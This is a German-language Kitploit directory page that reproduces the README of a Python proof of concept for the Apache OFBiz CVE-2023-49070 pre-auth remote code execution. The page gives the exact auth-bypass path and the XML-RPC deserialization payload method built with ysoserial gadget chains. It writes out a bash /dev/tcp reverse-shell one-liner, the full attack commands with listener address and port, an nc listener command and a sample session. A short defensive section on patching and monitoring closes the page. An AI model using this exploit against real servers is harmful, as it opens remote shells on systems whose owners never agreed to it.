Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-49070 — Python-PoC für Apache OFBiz CVE-2023-49070: Auth-Bypass auf /webtools/control/xmlrpc plus ysoserial-Gadget-Chain zur Erreichung von Pre-Auth-Deserialisierungs-RCE. | Kitploit
Tools/GitHubGitHub/bardlaudian/cve-2023-49070
DefensivwerkzeugePayload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRed Teaming
GitHubbardlaudian/cve-2023-49070

CVE-2023-49070

Python-PoC für Apache OFBiz CVE-2023-49070: Auth-Bypass auf /webtools/control/xmlrpc plus ysoserial-Gadget-Chain zur Erreichung von Pre-Auth-Deserialisierungs-RCE.

1vor 10h 37mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
Webseite
Teilen

ofbiz-xmlrpc-rce (CVE-2023-49070)

PoC für die Apache OFBiz XML-RPC Pre-Auth-Deserialisierungs-RCE, die als CVE-2023-49070 geführt wird: Ein Authentifizierungs-Bypass-Pfad öffnet den Legacy-Endpunkt /webtools/control/xmlrpc, der ein vom Angreifer kontrolliertes Java-Objekt deserialisiert, das in einem XML-RPC-<serializable>- Parameter eingeschmuggelt wurde.

⚠️ Nur für autorisierte Sicherheitstests. Führe dies nur gegen Systeme aus, die dir gehören oder für die du ausdrücklich autorisiert bist (CTF-/Laborumgebungen, Engagements mit unterzeichnetem Scope usw.). Unautorisierter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen illegal.

Schwachstelle

Die view-map-Authentifizierung von Apache OFBiz schützt normalerweise /webtools/control/xmlrpc. Betroffene Versionen (< 18.12.10) können dazu verleitet werden, diese Prüfung zu überspringen, indem ein Semikolon plus bestimmte Query-Parameter an den Pfad angehängt werden:

root@kitploit:~
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y

Sobald der Endpunkt erreichbar ist, akzeptiert er XML-RPC-Anfragen. Die Java-Implementierung von Apache XML-RPC unterstützt einen <serializable>- Erweiterungstyp: Der Inhalt des Elements wird base64-dekodiert und direkt an übergeben — klassische unsichere Java-Deserialisierung. Mit einer geeigneten Gadget-Chain im Classpath (diese PoC verwendet standardmäßig über ) übersetzt sich das direkt in Remote-Code-Ausführung als der OS-Benutzer, der OFBiz ausführt.

ObjectInputStream.readObject()
CommonsBeanutils1
ysoserial

Dies ist dieselbe Fehlerfamilie wie die früheren OFBiz-XML-RPC- Deserialisierungs-CVEs (z. B. das Auth-Bypass-Geschwister von CVE-2023-51467); OFBiz hatte ein wiederkehrendes Muster von Auth-Bypass- + Deserialisierungs-Paaren auf diesem Endpunkt, prüfe also den genauen CVE-/Versionsbereich, der auf dein Ziel zutrifft, bevor du dich auf diese PoC verlässt.

Was dieses Skript tut

  1. Baut eine bash -i >& /dev/tcp/LHOST/LPORT 0>&1-Reverse-Shell, base64-kodiert sie und verpackt sie in einen bash -c 'echo ... | base64 -d | bash'-Einzeiler (umgeht die Shell-Metazeichen-Verstümmelung weiter unten in der Ausführungskette).
  2. Ruft ysoserial auf, um eine serialisierte Gadget-Chain zu bauen (CommonsBeanutils1 standardmäßig, konfigurierbar), die diesen Einzeiler ausführt.
  3. Base64-kodiert die Gadget-Bytes und verpackt sie in die XML-RPC- <serializable>-Payload.
  4. Sendet sie per POST an TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y.
  5. Meldet den HTTP-Status und markiert, ob der Response-Body den OFBiz-Fehlermarker nach der Deserialisierung (No such service) enthält — ein Signal, dass die Payload verarbeitet wurde, kein Beweis für Code-Ausführung.

Was dieses Skript NICHT tut

Es kann nicht bestätigen, dass du eine Shell bekommen hast — OFBiz gibt in beiden Fällen einen generischen Fehler zurück, sobald die Deserialisierung läuft (die XML-RPC-Methode selbst, Dns, existiert nicht als echter Service). Halte immer deinen Listener aktiv und prüfe ihn, nicht nur die Konsolenausgabe des Skripts.

Voraussetzungen

  • Python 3.8+, pip install requests --break-system-packages
  • Java (jede Version, die mit deinem ysoserial-Build kompatibel ist)
  • ysoserial-all.jar — baue es selbst aus frohoff/ysoserial (mvn clean package -DskipTests) oder hole dir ein Release-Jar. Hier nicht mitgeliefert — es ist ein großes Drittanbieter-Tool mit eigener Lizenz.

Verwendung

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py \
    --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar

Starte zuerst einen Listener:

root@kitploit:~
nc -lvnp 4444

Alle Optionen

FlagStandardBeschreibung
--target(erforderlich)Ziel-Basis-URL, z. B. https://ofbiz.target.tld
--lhost(erforderlich)Deine Listener-IP
--lport(erforderlich)Dein Listener-Port
--ysoserialysoserial-all.jarPfad zum ysoserial-Jar
--gadgetCommonsBeanutils1Zu verwendende ysoserial-Gadget-Chain
--java-binjavaAufzurufende Java-Binary
--timeout15HTTP-Request-Timeout (Sekunden)
--proxy(keine)Optionaler HTTP(S)-Proxy, z. B. zum Routen über Burp

Andere Gadget-Chains ausprobieren

CommonsBeanutils1 ist die klassische Wahl für OFBiz (es liefert commons-beanutils im Classpath mit), aber falls es nicht zündet, unterstützen die von OFBiz mitgelieferten Bibliotheken auch andere Chains. Tausche einfach --gadget aus:

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar \
    --gadget CommonsCollections6

Beispielsitzung

root@kitploit:~
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
    This is a signal the gadget chain executed, not proof of a shell.

[*] Check your listener: nc -lvnp 4444

Erkennung & Gegenmaßnahmen (defensive Hinweise)

  • Auf Apache OFBiz 18.12.10 oder später patchen (oder das aktuelle gepatchte Release für deinen Branch) — dies schließt sowohl den Auth-Bypass-Pfad als auch die Deserialisierung auf dem XML-RPC- Endpunkt.
  • /webtools/control/xmlrpc deaktivieren oder einschränken, wenn du die XML-RPC-Integration nicht aktiv nutzt; die webtools-Komponente im Allgemeinen ist ein häufiges Ziel und sollte ohne triftigen Grund nicht aus dem Internet erreichbar sein.
  • Semikolon-basierte Pfadsegmente filtern auf WAF-/Reverse-Proxy- Ebene als Defense in Depth — viele von OFBiz' Auth-Bypass-CVEs teilen diesen ;-Trick gegen das Java-Servlet-Pfad-Parsing.
  • Deserialisierungs-Härtung: Verwende einen Look-Ahead- Deserialisierungsfilter (ObjectInputFilter, verfügbar seit JEP 290 / Java 9+), um bekannte Gadget-Chain-Klassen daran zu hindern, jemals instanziiert zu werden, unabhängig davon, welcher Endpunkt die Deserialisierung auslöst.
  • Überwache auf: POSTs an */control/xmlrpc*, die <serializable>-Elemente enthalten, unerwartete ausgehende Verbindungen vom OFBiz-Host und Kindprozesse, die vom Java-Prozess gestartet werden, der OFBiz ausführt.

Referenzen

  • NVD — CVE-2023-49070
  • Apache OFBiz security advisories
  • ysoserial

Lizenz

MIT — siehe LICENSE.

Tool herunterladen